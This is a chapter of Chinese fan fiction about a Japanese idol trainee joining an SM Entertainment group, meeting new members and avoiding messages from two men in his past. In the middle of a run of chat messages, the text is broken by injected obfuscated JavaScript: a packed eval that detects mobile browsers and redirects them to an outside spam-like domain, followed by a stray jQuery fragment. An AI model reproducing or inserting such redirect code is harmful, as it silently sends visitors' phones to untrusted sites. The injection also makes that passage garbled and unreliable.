朝日陽向抱着装有个人物品的纸箱，跟在staff身后，走在SM大楼光洁得能映出倒影的走廊里。熟悉的流程——报到、签文件、拿门禁卡、听一堆冗长重复的宣讲，内容无非是关于“努力”，关于“承诺”，关于“出道”的这些话术。


    只是这次，地点换成了SM，而“出道”这个词，像被反复揉搓又展开的纸，带着些许脆弱的承诺。又像是嚼不烂又无法咽下的口香糖，舌尖只残留一点模糊的甜味，更多的只是重复咀嚼，寡淡却无法停下的动作。


    希望这次真的能出道吧。他想。到这个程度，再多说什么也都没什么意义了。


    “这边是练习室区域，你们组的专用练习室在尽头那间。”staff语速很快，指向走廊深处一扇磨砂玻璃门，“成员们应该都在里面练习了，今天主要是熟悉环境，还有和成员们磨合磨合。”


    陽向点点头，目光扫过两侧紧闭的门，想象着门后是怎样的光景。他深吸一口气，压下心底那点微妙的、混合着期待与警惕的复杂情绪。这次，是真的最后一次了。


    就在他抱着箱子，准备跟着staff转弯走向尽头练习室时——


    “砰！”


    一声闷响伴随着轻微的惊呼。


    陽向只感觉怀里一沉，紧接着一个人影结结实实地撞进了他怀里。巨大的冲击力让他踉跄着后退一步，后背“咚”地撞在墙壁上，手里的纸箱脱手，被甩在一旁。文件和个人用品滚落在地上，玻璃水杯在地上打滚转圈。甜甜的、像是水果软糖味道的香味强硬地挤进鼻腔。这股陌生的味道，侵入了朝日陽向的鼻子，毫无预兆的，让他呼吸微微一滞。


    “对不起，实在抱歉，对不起！我没看到路。”


    一个清亮的，但又很独特的男声慌乱地在耳边响起，温热的气息拂过朝日陽向的耳廓。


    陽向稳住身形，目光落在面前这个局促得不知道该如何存放自己肢体的男孩。年纪应该相仿，个子比他矮一些，穿着宽松的灰色背心，骨架纤细匀称，一头柔顺的中分短发，因为刚刚的碰撞有些凌乱地贴在汗湿的额角。他有些慌乱的从陽向怀里退出去。小麦色的皮肤因为窘迫染上一层薄雾般的粉色。他有一双漂亮的眼睛，像小猫一样亮晶晶，里面盛满了尴尬和歉意。


    他弯下腰，想帮陽向捡起地上的东西。朝日陽向摆摆手，落在男孩眼里以为是他生气了，不想自己碰到个人物品。更是局促不安。动作慌乱狼狈，在混乱中还撞到了朝日陽向的额头。


    “真不用，没事的。我来就好。”


    “对不起，我……我会赔偿你的，如果坏了的话。”


    “真的没事……”


    话还没说完，一旁等待的staff有些不耐烦，提醒朝日陽向注意时间，现在要去练习室了，赶紧收拾好。


    陽向深吸一口气，蹲下身开始收拾散落一地的物品。男孩显然没有听进去陽向的拒绝，依然手忙脚乱地跟着蹲下来帮忙，“我帮你……”


    两人的手几乎同时伸向地上的一张谱子，那是朝日陽向还在冲绳时写的。


    陽向的指尖先碰到了纸张的边缘，往里延伸的时，那个人也贴了上来，就在陽向的手背上轻轻擦过。


    触感是极其短暂的，微小的电流窜过，在手背上留下一个明确的，被触碰的印记。朝日陽向的指节无意识地蜷缩。


    那个男孩像是被烫到，飞快地抽回手，本就薄粉的脸颊漫上了片嫣红。仔细观察的话，会发现连耳根都是红色的。“对不起，实在对不起。”声音都变得细弱蚊蝇。


    陽向没看他，嘴上还是说着没关系。但因为staff的催促，手上动作逐渐加快。那个男生有些不敢讲话。


    朝日陽向不笑的时候，两道浓密的眉平竖，冷硬的线条给人一种难以接近的距离感。旁人总会以为，他心情不好。其实只是没注意。


    男孩不敢随意出手帮忙了，只能无措地跪坐在散乱的物品边，像做错事的孩子般看向朝日陽向，漂亮的猫眼里满是愧疚和慌张，亮晶晶的水光似乎就要溢出来。


    有些没料到会变成这样，但因为催促他没来得及安慰眼前的人。只能利落地将最后几样东西塞进纸箱。甚至没顾上再拍一拍裤子上的灰尘。


    “走吧。”staff再次催促。


    朝日陽光向男孩微微颔首致意，算是告别，便抱着纸箱，跟着staff快步走向走廊深处的那扇磨砂玻璃门。


    “唉！还没介绍呢……”


    “我是…前田陆。”


    声音小小的，扩散在这个不太宽阔的转角。


    推开那扇厚重的磨砂玻璃门，强烈的音乐和混杂着酸涩气味的冷气涌进他的鼻腔。巨大的落地镜前，几个身影正随着音乐专注地练习着复杂的队形。看到staff带着陽向进来，音乐被按下了暂停键，练习室瞬间安静下来，只剩下粗重的喘息声和几道带着审视意味的目光。


    staff清了清嗓子，开口道，“大家停一下，这是新加入的成员，朝日陽向。以后会跟大家一起练习出道。”


    朝日陽向整理心情，挺直背脊，对着镜子里映出的几个人影露出一个大大的，毫无阴霾的笑容。标准的90度鞠躬。


    “大家好！我是朝日陽向，03年生！来自冲绳！以后请多指教！”他的韩语发音清晰，只是尾音带着点独特的黏连感，像自动加了个波浪号。配上那张过于热情洋溢的笑脸，在刚刚停下练习、气氛还有些严肃的练习室里，显得有些突兀的明亮。


    短暂的沉默弥漫开来。成员们互相交换着眼神。


    一个眼睛笑眯眯的男生主动走过来。步伐轻快，带着一种自然的亲和力。“你好朝日君，我是大崎将太郎。可以叫我Shotaro哥哦。”语气温和，瞬间打破了冷场的氛围。他伸出手，朝日陽向立刻放下纸箱，用力地握了握。


    “啊，Shotaro哥！请多关照！”陽向的笑容更大了些，像是找到了第一个锚点，瞬间有些安心。


    剩下的几个人也互通了姓名。


    Staff见基本认识完毕，又叮嘱了几句“好好磨合”、“团队协作很重要”，便匆匆离开了。沉重的玻璃门在他身后合拢，隔绝了外面的声响。练习室里那点刻意维持的、塑料般的“友好”气氛，如同被戳破的气球，“噗”地一声消散了，温度瞬间降至冰点。


    刚刚还在讲话的几个人突然沉默了一样散去，整个空间的中心只有将太郎和陽向两人。朝日陽向有些无措的看着将太郎，好在对方没有冷落下他，带着他去角落里扒动作。


    练习在一种微妙的气氛里结束。这期间除了将太郎会主动跟他交流，其他人或是保持沉默，或是投来不善的目光，又或是好奇的打量。临近出道，突然空降一个新人入队，难道公司真的会推出9人团体吗？每个人心里都不确定，所以对他态度不太明朗。谁知道这个新来的是挤占出道位，还是真的没有威胁。这也导致了朝日陽向身边没什么能说得上话的人。好在，他是个不内耗的性格。


    午餐时间，Jayjay等在练习室门口带陽向去吃饭。知道对方决定来sm，让他兴奋了好久。虽然这几年跟朝日陽向的关系没有断掉，一直有在联络。但和能每天看见他的感觉还是是不一样的。


    “哥，怎么样？第一天。”Jayjay看向朝日陽向，有些期待他的第一次展示。


    “其实还好，就是大家太慢热了，不怎么讲话。”他顿了顿“Shotaro哥人很好，帮我很多。其他人……嗯，感觉有点害羞？或者太专注练习了？”他犹豫了一下，还是选择了一个比较正面的说法，他自动忽略了那些让他不舒服的细节。


    这时，他放在桌上的手机屏幕又亮了起来，连续几条KakaoTalk消息提示弹出来，锁屏预览里清晰地显示着发信人——泰亨哥。


    内容飞快滚动：


    [泰亨哥]：陽向啊，到新地方还习惯吗？SM的饭菜合胃口吗？


    [泰亨哥]：练习强度很大吧？注意身体，别又练到太晚。


    [泰亨哥]：我认识SM的制作人，需要的话可以帮你引荐聊聊…


    [泰亨哥]：为什么不回我消息？上次的事…还在生气？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906198|174690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    [泰亨哥]：真的这么重要吗？那个家伙？！


    [泰亨哥]：陽向，回我句话。


    [泰亨哥]：你就这么对我？我对你不好吗？


    [泰亨哥]：……算了，你好好休息。


    消息还在持续弹出，带着一种焦灼的、不容忽视的存在感。挤压着本来就有些焦躁的心。


    Jayjay好奇地瞥了一眼，看到不断弹出的消息，纠结的戳戳碗里的泡菜，下定决心一样，忍不住问：“哥，其实我想问好久了。不知道方不方便…就是那个一直给你发信息的‘骏佑酱’到底是谁啊？之前咱俩住在一起的时候，半夜还老发给你。是……很重要的人吗？”


    陽向握着筷子的手猛地一顿。骏佑酱……道枝骏佑。这个名字像一颗深埋心底、许久未被发现的盒子，此刻被猝不及防地翻了出来。他脸上的笑容瞬间凝固，眼神里闪过一丝罕见的茫然和逃避，仿佛被阳光刺到了眼睛。他低下头，盯着餐盘里的米饭粒，喉结滚动了一下，声音有些发涩：“……嗯。是以前…在杰尼斯时…很好的朋友。”


    “很好的朋友？”Jayjay歪着头，“那为什么你总不回他信息？我看他好像一直有发很多消息给你。”


    陽向沉默了更久。食堂嘈杂的背景音仿佛被屏蔽了，只剩下他有些乱的呼吸声。他拿起水杯喝了一大口，冰水滑过喉咙，带来一丝刺痛。


    “想……想等自己真的出道成功了，再好好跟他联系吧。”他终于开口，声音很低，带着一种连自己都不确定的飘忽，“那时候…离开得有点…突然。想解释清楚，也想…证明点什么。”他顿了顿，指尖无意识地摩挲着冰冷的杯壁，“但是…时间拖得太久了…我好像…也不知道该怎么开口了……”


    这难得的、带着脆弱和逃避的坦诚，让Jayjay愣住了。他认识的陽向哥，永远是阳光开朗、无所畏惧的样子，很少流露出这样的迷茫。


    “哥……”Jayjay刚想再问。


    “抱歉，Jayjay，我突然想起有个动作还没练熟，我先去练习室了！”陽向猛地站起身，动作快得带倒了椅子，发出刺耳的摩擦声。他甚至没看Jayjay担忧的眼神，抓起桌上还在不断弹出新消息的手机，几乎是落荒而逃般冲出了食堂。


    走廊里空无一人，只有日光灯管发出轻微的嗡鸣。陽向靠在冰冷的墙壁上，掏出手机。他下意识地先点开了“骏佑酱”的信息栏。最新一条消息躺在顶端，发送时间是十分钟前。


    [骏佑酱］：今天在片场NG了好多次，演一场哭戏怎么也找不到感觉，被导演骂了。明明以前跟你一起练习的时候，情绪说来就来的……东京今天又下雨了，好烦。


    后面跟着几张片场角落的自拍，照片里的道枝骏佑穿着戏服，眼神有些疲惫，背景是湿漉漉的东京街道。再往上翻，是无数条类似的信息——分享琐碎的日常、小小的抱怨、偶尔的喜悦，像一本只对他开放的、持续更新的日记。陽向的手指悬在屏幕上方，指尖微微发凉。他沉默地看了几秒，最终只是指尖一动，划过屏幕，没有回复，也没有点开那些照片。


    再等等吧，嗯。等出道再说吧。


    金泰亨的消息刷满了屏幕，从最初的试探性问候，到后来带着关切的询问，再到语气中压抑不住的焦急和一点点受伤的控诉，最后几条信息字里行间弥漫着一种难以接受的低落和混乱，甚至掺杂着一些关于“背叛”和“遗忘”的激烈字眼。陽向的目光在那几行刺目的文字上停顿了片刻，眉心微蹙。最终，他只是在对话框里飞快地敲下几个字。


    ［Asahi］：哥别多想了，好好休息吧。我都好。


    发送。然后，他毫不犹豫地关掉了手机屏幕，将所有的关心、质问、还有那些剪不断理不清的情绪，都锁进了黑色的盒子里。


    胸腔里那股迫切的、想要证明什么的火焰灼烧着他。出道。只有出道，才是唯一的答案，才能堵住所有的嘴，解开所有的结吗？他不知道，他只知道此刻唯一能做的，就是把自己塞回那个空旷的练习室。其他都不要想了，太复杂了。